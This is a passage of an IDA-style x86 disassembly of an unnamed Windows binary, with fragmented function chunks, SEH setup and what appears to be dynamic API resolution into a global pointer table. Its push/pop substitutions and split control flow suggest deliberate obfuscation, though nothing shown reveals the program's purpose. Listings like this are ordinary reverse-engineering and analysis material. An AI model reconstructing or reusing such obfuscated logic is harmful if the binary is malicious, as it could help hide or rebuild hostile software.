; FUNCTION CHUNK AT 009B0B14 SIZE 00000020 BYTES

		push	esi
		mov	esi, eax
		push	edi
		xor	eax, eax
		push	esi
		pop	edi
		mov	ecx, 40h
		rep stosd
		stosw
		xor	eax, eax


loc_9B190B:				; CODE XREF: sub_9B18F8+1Dj
		mov	[eax+esi+2], al
		inc	eax
		cmp	eax, 100h
		jl	short loc_9B190B
		jmp	off_9B970F
sub_9B18F8	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1B20


loc_9B1920:				; CODE XREF: sub_9B1B20-2BABj
		mov	[ebp+var_330], 1


loc_9B192A:				; CODE XREF: sub_9B1B20-2BB1j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+0Ch]
		pop	ecx
		mov	edx, [ebp+var_32C]
		push	edx
		call	dword ptr [ecx+14h]


loc_9B193F:				; CODE XREF: sub_9B1B20-5938j
		mov	eax, esi
		call	sub_9AC448
		jmp	loc_9B0A27
; END OF FUNCTION CHUNK	FOR sub_9B1B20
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9B194C:				; CODE XREF: sub_9B4950-8E0Cj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_9B42AC
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B195C:				; CODE XREF: sub_9B1D80-32DAj
					; DATA XREF: .text:off_9BA82Co
		sub	ecx, ecx
		movzx	esi, word ptr [ebp-2022h]
		mov	cl, [ebp-2024h]
		and	ecx, 1
		push	ecx
		mov	edx, [ebp-2020h]
		push	edx
		push	ebx
		push	eax
		push	esi
		pop	ecx
		call	sub_9AF030
		or	eax, eax
		jz	loc_9B3EC4
		jmp	loc_9B0CD4
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B198C:				; CODE XREF: sub_9B3864+91j
		call	sub_9B36E8
		push	eax
		pop	ebx
		mov	[ebp+var_2064],	ebx
		push	[ebp+var_202C]
		pop	eax
		push	ebx
		pop	ecx
		and	eax, 7FFFFFFFh
		and	ecx, 7FFFFFFFh
		cmp	ecx, eax
		jbe	loc_9ACC3C
		jmp	loc_9B52B8
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0D34


loc_9B19BC:				; CODE XREF: sub_9B0D34-146Bj
		mov	eax, 1
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9B0D34
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B19C4:				; CODE XREF: sub_9AF030+1BD4j
					; DATA XREF: .text:off_9BA677o
		mov	[ebp+var_20], 1
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	loc_9AE8BD
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B19D8	proc near		; CODE XREF: sub_9ACA48+93BBj
					; DATA XREF: .text:off_9B97C5o

; FUNCTION CHUNK AT 009ADF64 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B349C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B4B5C SIZE 0000004B BYTES

		push	ebx
		lea	eax, [ebp-405Ch]
		push	eax
		push	2002h
		lea	ecx, [ebp-2020h]
		push	ecx
		mov	ebx, esi
		call	sub_9ABD30
		mov	[ebp-4054h], eax
		cmp	eax, 4
		jnz	loc_9B5E0C
		jmp	loc_9ADF64
sub_9B19D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1A08	proc near		; DATA XREF: .text:off_9BA7C1o

var_43B4	= dword	ptr -43B4h
var_4224	= word ptr -4224h
var_4214	= dword	ptr -4214h
var_4210	= dword	ptr -4210h
var_420C	= dword	ptr -420Ch
var_4208	= dword	ptr -4208h
var_4204	= dword	ptr -4204h
var_4200	= dword	ptr -4200h
var_41FC	= dword	ptr -41FCh
var_41F8	= dword	ptr -41F8h
var_41F4	= dword	ptr -41F4h
var_41F0	= dword	ptr -41F0h
var_41EC	= dword	ptr -41ECh
var_41E8	= dword	ptr -41E8h
var_41E4	= dword	ptr -41E4h
var_41E0	= dword	ptr -41E0h
var_41DC	= word ptr -41DCh
var_41DA	= byte ptr -41DAh
var_41BC	= dword	ptr -41BCh
var_404C	= byte ptr -404Ch
var_403C	= dword	ptr -403Ch
var_4038	= dword	ptr -4038h
var_4034	= dword	ptr -4034h
var_4030	= dword	ptr -4030h
var_402C	= dword	ptr -402Ch
var_4028	= dword	ptr -4028h
var_4024	= dword	ptr -4024h
var_4020	= dword	ptr -4020h
var_401C	= byte ptr -401Ch
var_201C	= byte ptr -201Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AB158 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AB698 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009AB8B0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AC380 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AD1C4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AD46C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AD5C8 SIZE 0000006A BYTES
; FUNCTION CHUNK AT 009AD788 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 009AD898 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009ADB90 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 009ADCA0 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ADD4C SIZE 00000054 BYTES
; FUNCTION CHUNK AT 009AE008 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009AE1D8 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AE344 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AE804 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AE954 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AE988 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009AEEE8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AF0A8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009AF110 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AF398 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009AF780 SIZE 00000085 BYTES
; FUNCTION CHUNK AT 009AF990 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AF9A8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B06A4 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B11B4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009B169C SIZE 0000004D BYTES
; FUNCTION CHUNK AT 009B17B0 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B1C13 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B2398 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009B2C5C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B351C SIZE 0000003E BYTES
; FUNCTION CHUNK AT 009B3778 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B4444 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009B47A0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 009B48CC SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B4C3C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B4C68 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B525C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B5444 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B59A0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B59F0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009B606C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B61E4 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B90D9
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	eax, 439Ch
		call	__alloca_probe
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	[ebp+arg_0]
		pop	esi
		mov	[ebp+var_41F4],	esi
		mov	eax, [esi+0Ch]
		mov	[ebp+var_41EC],	eax
		sub	edx, edx
		mov	ecx, 63h
		mov	[ebp+var_4], edx
		mov	[ebp+var_41F0],	edx
		xor	eax, eax
		mov	[ebp+var_41E4],	0FFFFFFFFh
		mov	[ebp+var_41DC],	dx
		lea	edi, [ebp+var_41DA]
		rep stosd
		stosw
		mov	[ebp+var_41E0],	edx
		mov	[ebp+var_4204],	edx


loc_9B1A92:				; CODE XREF: sub_9B1A08-39DDj
		push	[ebp+var_41EC]
		pop	edx
		neg	edx
		sbb	edx, edx
		and	edx, 0FA0h
		add	edx, 3E8h
		push	esi
		call	sub_9B5CDC
		and	eax, eax
		jnz	loc_9ADD8C
		jmp	loc_9B2398
sub_9B1A08	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B1ABC:				; CODE XREF: sub_9B1F68-2B4j
					; DATA XREF: .text:off_9BAC63o
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9B01DB
		jmp	off_9B8A0A
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B1AD3:				; CODE XREF: sub_9ACEE8+80j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	0
		call	dword ptr [eax+60h]
		push	dword ptr [ebp-10h]
		pop	ecx
		xor	eax, eax
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1B0C:				; CODE XREF: sub_9B0930+516j
		push	dword ptr [edx]
		pop	eax
		mov	ecx, [eax+78h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B8E38
; END OF FUNCTION CHUNK	FOR sub_9B0930

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1B20	proc near		; CODE XREF: sub_9B174C-60E6p
					; sub_9AF25C-33FDp ...

var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= byte ptr -328h
var_224		= byte ptr -224h
var_120		= byte ptr -120h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009ABC4C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009AC1A0 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 009AEF4C SIZE 0000002E BYTES
; FUNCTION CHUNK AT 009B0A27 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009B0DB0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B1920 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009B323C SIZE 0000002F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BABEB
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 324h
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		push	ebx
		push	esi
		push	edi
		push	ecx
		pop	edi
		sub	esi, esi
		mov	[ebp+var_18], esp
		mov	[ebp+var_330], esi
		mov	ebx, edx
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BA97F
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], esi
		lea	edx, [ebp+var_224]
		push	edx
		push	3
		call	sub_9B6078
		add	esp, 8
		lea	eax, [ebp+var_120]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	ecx, [ebp+var_328]
		call	sub_9ABC20
		lea	eax, [edi+1]
		call	sub_9AF3E8
		mov	esi, eax
		mov	[ebp+var_334], esi
		test	esi, esi
		jz	loc_9B0A27
		jmp	off_9BACE4
sub_9B1B20	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1BC0:				; CODE XREF: sub_9B0930-4813j
					; DATA XREF: .text:off_9B96B7o
		push	off_9BAFA7
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+8Ch], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax]
		push	dword ptr [eax+8Ch]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BB04C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9B1BF8:				; CODE XREF: sub_9ADAC4+73FCj
					; DATA XREF: .text:off_9B970Bo
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9AB8EE
		jmp	off_9B93AB
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B1C08:				; CODE XREF: sub_9ADDA4+532Dj
		jmp	off_9B2B18[edi*4]
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B1C13:				; CODE XREF: sub_9B1A08+3252j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+60h]
		mov	ecx, [ebp+var_10]
		xor	eax, eax
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0FD0


loc_9B1C48:				; CODE XREF: sub_9B0FD0+56j
					; DATA XREF: .text:off_9B89C6o
		cmp	dword_9BCBCC[eax*4], esi
		jnz	loc_9AFCB4
		jmp	off_9BAF5F
; END OF FUNCTION CHUNK	FOR sub_9B0FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1C5C:				; CODE XREF: sub_9B0930+4217j
		push	off_9B9346
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	[edx+44h], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+10h]
		push	dword ptr [eax+44h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AE150
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B6504


loc_9B1C93:				; CODE XREF: sub_9B6504-9024j
					; sub_9B6504-4518j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B6504
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B1CAC:				; CODE XREF: sub_9B1F68-215Aj
					; DATA XREF: .text:off_9BA8B1o
		or	eax, eax
		jz	loc_9B01DB
		jmp	off_9BAC63
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9B1CBF:				; CODE XREF: sub_9B31A8-2926j
					; sub_9B31A8+36j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_1C]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B1CDC:				; CODE XREF: sub_9B04A8-325Cj
		inc	dword ptr [ebp-4040h]
		jmp	loc_9AD52E
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1CE8:				; CODE XREF: sub_9B0930+2FF8j
					; DATA XREF: .text:off_9BAB98o
		push	off_9B9A6A
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+0Ch]
		mov	[edx+18h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax+0Ch]
		push	dword ptr [eax+18h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AE490
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1D1C:				; CODE XREF: sub_9B63D8-B308j
		mov	dl, [ebp-2116h]
		cmp	dl, 30h
		jl	loc_9AF944
		jmp	loc_9AFEF0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEBB8


loc_9B1D30:				; CODE XREF: sub_9AEBB8+5Bj
					; sub_9B5228+2Ej
					; DATA XREF: ...
		mov	[ebp-124h], ebx
		jmp	loc_9ABDE3
; END OF FUNCTION CHUNK	FOR sub_9AEBB8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B3B1C


loc_9B1D3F:				; CODE XREF: sub_9B3B1C-7A38j
					; sub_9B3B1C-2747j
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3B1C
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B1D5B:				; CODE XREF: sub_9B1D80-4B68j
					; sub_9B1D80-4AD5j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		push	dword ptr [ebp-1Ch]
		pop	ecx
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	20h
; END OF FUNCTION CHUNK	FOR sub_9B1D80

; =============== S U B	R O U T	I N E =======================================



sub_9B1D80	proc near		; CODE XREF: sub_9B04A8+1A17p
					; sub_9B19D8+31B6p ...

; FUNCTION CHUNK AT 009AAFDC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AB080 SIZE 00000047 BYTES
; FUNCTION CHUNK AT 009AB684 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009AC220 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AC458 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AC764 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 009AD20C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD2A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009AD958 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ADE34 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009AE2D8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AE744 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AE918 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 009AEA70 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 009AF1CC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009AF8D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009AFCE8 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 009B0208 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B04DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B0CD4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B195C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B1D5B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B1E30 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B1EDC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009B2D74 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B3070 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 009B3930 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 009B3C2C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009B3CE4 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009B3EC4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B46A4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B4E98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B52D0 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009B5354 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B56D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B610C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B655C SIZE 00000014 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9B971B
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	eax, 2050h
		mov	large fs:0, esp
		sub	esp, 8
		call	__alloca_probe
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	[ebp-2044h], edx
		push	dword ptr [ebp+0Ch]
		pop	esi
		mov	edi, ecx
		push	dword ptr [ebp+1Ch]
		pop	eax
		mov	[ebp-2054h], eax
		mov	eax, [ebp+20h]
		mov	[ebp-2048h], eax
		mov	ebx, [ebp+24h]
		mov	[ebp-2040h], ebx
		mov	dword ptr [ebp-4], 0
		mov	dword ptr [eax], 0
		or	ebx, ebx
		jz	loc_9B3CF3
		jmp	loc_9B3CE4
sub_9B1D80	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B1E04:				; CODE XREF: sub_9AC6DC+786Ej
		cmp	dword_9BBD10, eax
		jb	loc_9B0051
		jmp	loc_9B003C
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1E18:				; CODE XREF: sub_9B63D8-9E02j
					; sub_9B63D8-60C2j
		push	dword ptr [ebp-2130h]
		pop	eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_9AED08
		jmp	off_9BA374
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B1E30:				; CODE XREF: sub_9B1D80-1B72j
		mov	edx, [ebp-2020h]
		or	edx, edx
		jz	loc_9B3ECB
		jmp	off_9BA940
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9B1E44:				; CODE XREF: sub_9B4FD0-623Dj
					; DATA XREF: .text:off_9BA10Fo
		mov	edx, [ebp+14h]
		cmp	dword_9BBF84[eax], edx
		jnz	loc_9AB8C4
		jmp	off_9B8E16
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp+0Ch]
; START	OF FUNCTION CHUNK FOR sub_9ABC20


loc_9B1E69:				; CODE XREF: sub_9ABC20+1FE0j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_9ABC20
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B1E80:				; CODE XREF: sub_9B04A8-2A91j
					; DATA XREF: .text:off_9B8F5Co
		lea	eax, [ebp-403Ch]
		xor	edi, edi
		call	sub_9AC128
		push	edi
		lea	eax, [ebp-4054h]
		push	eax
		lea	ecx, [ebp-201Ch]
		push	ecx
		push	esi
		push	11h
		push	dword ptr [ebp+8]
		pop	edx
		push	edx
		lea	eax, [ebp-403Ch]
		push	eax
		push	dword ptr [ebp-4044h]
		pop	ecx
		push	ecx
		lea	ecx, [ebp-402Ch]
		lea	edx, [ebp-401Ch]
		call	sub_9B1D80
		push	dword ptr [ebp-4054h]
		pop	edi
		test	edi, edi
		jz	loc_9AFD43
		jmp	off_9BA911
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B1EDC:				; CODE XREF: sub_9B1D80-2BA6j
					; DATA XREF: .text:off_9B90D5o
		push	dword ptr [ebp+14h]
		pop	ebx
		cmp	ebx, 6
		jnz	loc_9AEA70
		jmp	loc_9B3930
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1EF0:				; CODE XREF: sub_9B0930+1C7Fj
		push	off_9B87D8
		mov	ecx, [eax]
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+70h], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		mov	ecx, [eax+70h]
		and	ecx, ecx
		jmp	loc_9B60C0
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEDD0


loc_9B1F1C:				; CODE XREF: sub_9AEDD0-33D9j
					; DATA XREF: .text:off_9B8DC2o
		cmp	dword_9BEC2C[eax], edi
		jz	loc_9AD3A8
		jmp	off_9BA891
; END OF FUNCTION CHUNK	FOR sub_9AEDD0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1F30:				; CODE XREF: sub_9B0930-4378j
					; DATA XREF: .text:off_9B88A6o
		push	off_9BAED9
		mov	eax, [eax+14h]
		mov	ecx, [eax]
		push	ecx
		call	esi
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+14h]
		pop	ecx
		mov	[ecx+4], eax
		mov	edx, dword_9BCB74
		mov	eax, [edx+14h]
		mov	ecx, [eax+4]
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA7AC
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B1F68	proc near		; DATA XREF: .text:off_9B8820o

; FUNCTION CHUNK AT 009AB2B0 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AB6E4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009ABDD4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 009AC640 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 009ACD74 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 009ACE54 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009ADDEC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AE04C SIZE 0000006B BYTES
; FUNCTION CHUNK AT 009AE84C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AFB58 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 009AFD68 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009AFDC0 SIZE 00000054 BYTES
; FUNCTION CHUNK AT 009B01DB SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B0C90 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009B0DD8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B0E1C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B1480 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B1ABC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B1CAC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B2640 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B274C SIZE 0000002A BYTES
